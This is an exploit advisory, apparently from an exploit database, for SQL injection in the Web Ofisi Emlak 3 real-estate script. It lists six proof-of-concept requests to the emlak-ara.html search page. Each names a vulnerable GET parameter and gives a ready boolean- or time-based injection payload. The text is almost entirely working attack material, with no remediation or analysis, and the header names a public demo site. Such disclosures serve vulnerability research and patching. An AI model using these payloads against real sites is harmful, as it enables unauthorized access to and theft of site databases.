Web Ofisi Emlak 3 - 'emlak_durumu' SQL Injection

# Exploit Title: Web Ofisi Emlak 3 - 'emlak_durumu' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/emlak-scripti-v3.html
# Demo Site: http://demobul.net/emlakv3/
# Version: V2
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: emlak_durumu (GET)
Payload: -1' OR 3*2*1=6 AND 000744=000744 --

----- PoC 2: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: emlak_tipi (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z

----- PoC 3: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: il (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z

----- PoC 4: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: ilce (GET)
Payload: -1' OR 3*2*1=6 AND 000397=000397 --

----- PoC 5: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: kelime (GET)
Payload: -1' OR 3*2*1=6 AND 000397=000397 --

----- PoC 6: SQLi -----

Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: semt (GET)
Payload: -1' OR 3*2*1=6 AND 000531=000531 --